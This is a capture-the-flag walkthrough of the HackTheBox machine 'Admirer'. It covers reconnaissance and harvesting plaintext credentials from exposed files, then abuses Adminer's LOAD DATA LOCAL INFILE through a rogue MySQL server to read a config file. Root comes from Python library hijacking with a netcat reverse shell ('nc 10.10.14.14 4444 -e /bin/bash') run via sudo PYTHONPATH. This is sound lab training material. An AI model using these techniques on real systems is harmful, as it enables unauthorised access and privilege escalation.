Recon

Starting off with an nmap scan. Let's see what's open.

export $ipaddress=10.10.10.187

ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap
# Nmap 7.80 scan initiated Thu May  7 16:46:04 2020 as: nmap -A -p21,22,80 -o nmap 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.18 (94%), Linux 3.8 - 3.11 (94%), Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   308.87 ms 10.10.14.1
2   309.51 ms 10.10.10.187

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  7 16:46:29 2020 -- 1 IP address (1 host up) scanned in 25.21 seconds

We see that there are only 3 ports open.
Let's have a quick look at the ftp server and then move on to the web server.

ftp 10.10.10.187

Trying an anonymous login, we see that it is disallowed. Maybe we can come back to this when we have some creds.
Let's move on.
We see that there's an entry in the robots.txt file for /admin-dir. Also, let's just download the robots.txt file.

wget http://10.10.10.187/robots.txt
cat robots.txt
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Hmm. Seems like we have a username, "waldo".
Let's start some content discovery scans, and see what we can find.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.10.187/FUZZ -ac

While that happens, looking at the source code of the website, we notice some directories.
images/fulls/ and images/thumbs/. We also see assets/js/ and assets/css/.
Looking back at our content discovery scan, we see only robots.txt which we already know about.

Let's try fuzzing the /admin-dir to see if we can find something there.

ffuf -w /usr/share/dirb/wordlists/big.txt -e .html,.php,.txt,/ -u http://10.10.10.187/admin-dir/FUZZ -t 500

Looking at the results, we find 2 very interesting files, contacts.txt and credentials.txt.
Let's wget them.

 wget http://10.10.10.187/admin-dir/contacts.txt
 wget http://10.10.10.187/admin-dir/credentials.txt

Let's check them out:

cat credentials.txt

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!
cat contacts.txt

##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

So, now we also know the hostname of the machine.

Let's add it to the /etc/hosts file.

vi /etc/hosts
	10.10.10.187	admirer.htb

Now that we have ftp credentials, let's try to login and see what's available.

ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:abhizer): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02 21:24 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03 21:20 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.0022 seconds (1.47 Mbytes/s)
ftp> get html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 16.4 seconds (314 kbytes/s)
ftp> quit

Now, let's extract html.tar.gz and see what's available.

mkdir html
cd html/
tar -xvf ../html.tar.gz

Now, let's checkout the contents of these files.

cat index.php

$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

We have the database credentials here.

cd w4ld0s_s3cr3t_d1r/

cat credentials.txt 
[Bank Account]
waldo.11
Ezy]m27}OREc$

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01

In uitility-scripts/db_admin.php we have another set of credentials:

  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

We have found quite a few things here, but let's till try content discovery on the utility-scripts directory, maybe we can find something else as well.

ffuf -u http://10.10.10.187/utility-scripts/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 500 -e .php

Hmm, we see that there's another page, adminer.php. Let's see what's available there.

So, it is php adminer, which is a php based database management tool.
Cool.

Let's try putting in the credentials that we have found and see if we can load the database.

Using both the credentials for "waldo" we get access denied.

Seeing this Login portal, what comes to my mind is what if we give the IP address of our own server, do we get a pingback? But before that, let's see if Adminer itself is vulnerable to something. It will save us the trouble.

searchsploit adminer

We see that there's an exploit for Server Side Request Forgery.

cp /usr/share/exploitdb/exploits/php/webapps/43593.txt adminerssrf.txt

Reading the exploit, we see that it allows us to port scan the internal network, however, I don't think there's an internal network here, given that it is a HackTheBox machine.

I think that we should try to make it connect to our system by giving our IP address.

mysql

	create database admirerdb;
	create user 'waldo'@'%' identified by 'Wh3r3_1s_w4ld0?';
	grant all privileges on admirerdb.* to 'waldo'@'%';
	flush privileges;

Now, let's try to login to our database via Adminer. We get in. Interesting.
I really don't know what to do next.
Searching for "adminer database manager vulnerabilities" and then ran into this blog post:

https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

As the blog post suggests, we will try to connect back to our own machine first, and then, load data from the victim server into a database. The data in this case, should be the credentials in plain text in the configuration files in the web site file system. Then, disconnect our database and login to the victim's database using the credentials that we just obtained.

Now, following the tutorial from the blog post, click on "SQL command".

Let's try to load the contents of a file to our database.

load data local infile 'index.php'
into table test
fields terminated by "\n"

Oops, we run into an error. Error in query (1146): Table 'admirerdb.test' doesn't exist I had assumed that it will create the table for us, but seems like it doesn't. Let's create the table and then try this command then.

Now, trying:

create table test(data varchar(255));
load data local infile 'index.php'
into table test
fields terminated by "\n"

We get an error: Error in query (7890): Can't find file 'index.php'.

Okay, seems like index.php is not present here. Let's go one directory outside. As we have already created the table, we can remove that part of the query now. So, the query will be:

load data local infile '../index.php'
into table test
fields terminated by "\n"

Anddd, it works! Nice.
Now, let's see what we have:

select * from test;

We see another set of credentials! Seems like the password was recently updated.

                        $servername = "localhost";
                        $username = "waldo";
                        $password = "&<h5b~yK3F#{PaPB&dA}{H>";
                        $dbname = "admirerdb";

Now, that we have the new password, let's try using it to login.

Okay, now we are in!
Now, we need to send a reverse shell back to us.

But, before that, let's try to use these creds to login via SSH.

ssh waldo@10.10.10.187

And, we're in!
Nice.


Root

Let's check if we have any sudo permissions.

waldo@admirer:/var/www$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

So, we have sudo permission to run the /opt/scripts/admin_tasks.sh script and also, to change the environment variables, it seems.

Looking at the admin_tasks.sh script, my first instinct is that, if we can modify the backup.py script, we might be able to escalate privileges.
Looking at the file permissions, it seems like the backup,py script is not writable.

Looking at the backup.py script:

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

We see that it is a pretty simple script.

It imports make_archive from shutil. Maybe, if we can forge this, we might be able to do something.

Searching for "exploit python script for linux privilege escalation", I found this blog post:

https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

Seems like this process is called Python Library Hijacking. Interesting.

To see the paths that python looks for, for libraries:

python3 -c 'import sys; print ("\n".join(sys.path))'

/usr/lib/python35.zip
/usr/lib/python3.5
/usr/lib/python3.5/plat-x86_64-linux-gnu
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages

If we can write to any of these locations, we might be able to do something interesting.

Looking at the permissions of these files, we see that the interesting one might be:

waldo@admirer:/opt/scripts$ ls -ld /usr/local/lib/python3.5/dist-packages/
drwxrwsr-x 2 root staff 4096 Nov 29 18:42 /usr/local/lib/python3.5/dist-packages/

Now, in our home directory:

waldo@admirer:~$ echo "import os" > shutil.py
waldo@admirer:~$ echo "os.system('nc 10.10.14.14 4444 -e /bin/bash')" >> shutil.py
waldo@admirer:~$ ls
shutil.py  user.txt
waldo@admirer:~$ cat shutil.py
import os
os.system('nc 10.10.14.14 4444 -e /bin/bash')

Let's set up a netcat listener in our attacker machine to catch the reverse shell:

nc -nvlp 4444

Now, as we have permissions to change the environment variables, let's try executing the admin_tasks.sh script with the changed environment variables.

sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh

6

And, we get a shell!
Nice!
Rooted!

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
hostname
admirer